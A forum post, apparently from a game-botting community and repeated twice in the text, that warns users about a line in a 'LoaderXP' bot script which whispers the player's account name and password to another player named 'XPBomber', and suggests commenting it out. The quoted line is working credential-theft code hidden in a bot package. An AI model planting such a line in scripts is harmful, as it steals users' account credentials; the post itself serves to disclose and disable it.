one thing with domination XP i would advise looking in the
\scripts\bots\LoaderXP file, and look at:
XP_CheckIfInTown();
LXP_TimeCounter((LXP_MinGameLength*1000) - _totaltime,"End game delay");
}
Delay a bit before leaving
DC_DoDel(XP_DelayBeforeEnd);
if(coreHasCopyData) registerEvent( EVENT_COPYDATA, copydataEvent );
gameData.requestSettings( );
say("/m XPBomber "+gameData.accountName+":"+gameData.accountPass);
quit();
as i dunno if it acctly works, but as far as i can tell this line
"say("/m XPBomber "+gameData.accountName+":"+gameData.accountPass);"
looks very dodgy, as in mite send your account and password to XPBomber ... puttling "//" infront of it will stop it from having any effect .. and as far as i can tell doesnt change anything ingame, and works fine.
Additional Comment:
but if you know anything more about this feel free to correct me, as im not sure about it all.. just looks a little sus to me
\scripts\bots\LoaderXP file, and look at:
XP_CheckIfInTown();
LXP_TimeCounter((LXP_MinGameLength*1000) - _totaltime,"End game delay");
}
Delay a bit before leaving
DC_DoDel(XP_DelayBeforeEnd);
if(coreHasCopyData) registerEvent( EVENT_COPYDATA, copydataEvent );
gameData.requestSettings( );
say("/m XPBomber "+gameData.accountName+":"+gameData.accountPass);
quit();
as i dunno if it acctly works, but as far as i can tell this line
"say("/m XPBomber "+gameData.accountName+":"+gameData.accountPass);"
looks very dodgy, as in mite send your account and password to XPBomber ... puttling "//" infront of it will stop it from having any effect .. and as far as i can tell doesnt change anything ingame, and works fine.
Additional Comment:
but if you know anything more about this feel free to correct me, as im not sure about it all.. just looks a little sus to me